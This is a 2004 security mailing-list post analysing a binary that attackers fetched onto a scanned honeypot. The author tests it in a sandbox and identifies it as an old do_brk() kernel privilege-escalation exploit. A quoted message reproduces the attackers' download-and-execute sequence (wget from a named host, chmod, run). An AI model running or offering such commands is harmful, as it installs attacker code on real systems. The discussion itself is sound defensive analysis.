[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <A9DFD922-F858-11D8-82A2-000D93C0F38C@teknovis.com>
From: andfarm at teknovis.com (Andrew Farmer)
Subject: Betr.: RE: Automated ssh scanning
On 26 Aug 2004, at 14:12, Blue Boar wrote:
> Todd Towles wrote:
>> It could be, but he said it was patched. I didn't run the test of
>> course. I never said it was the kernel however, it could be a service
>> running.
>> And unknown does not equal zero-day. But the tool got root and he
>> doesn't know how. That is the point. Kernel, old service, whatever. It
>> would be nice to find it.
>
> If you take a look at this bit:
>
> wget www.bo2k-rulez.net/a
> chmod +x a
> ./a
>
> The file "a" gives every superficial indication that it's a kernel
> exploit, if you want to go by a 20-second Notepad analysis:
Whatever it is, it doesn't work under 2.6.7:
peon % ./a
(long pause)
[-] Unable to determine kernel address: Operation not supported
zsh: segmentation fault ./a
peon %
It may, however, have corrupted some binaries, including /bin/rm and
/bin/sync, causing
them to crash (SIGSEGV) on invocation. Fortunately, I was working in a
(honeypot-mode)
UML, so my main system's fine :-)
Strings in the binary match
http://www.k-otik.com/exploits/12.05.hatorihanzo.c.php ,
which is an oldish do_brk() exploit. For the curious, though, a trimmed
dissasembly
is attached. (I removed portions of the binary which looked like they
were from
libraries.) The symbol names all match up, so I'm pretty confident
they're the same
code.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: a.objdump.gz
Type: application/x-gzip
Size: 5754 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040827/cd8ce894/a.objdump.bin
-------------- next part --------------
Looks like that Debian honeypot wasn't as up-to-date as hoped.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040827/cd8ce894/PGP.bin
Powered by blists - more mailing lists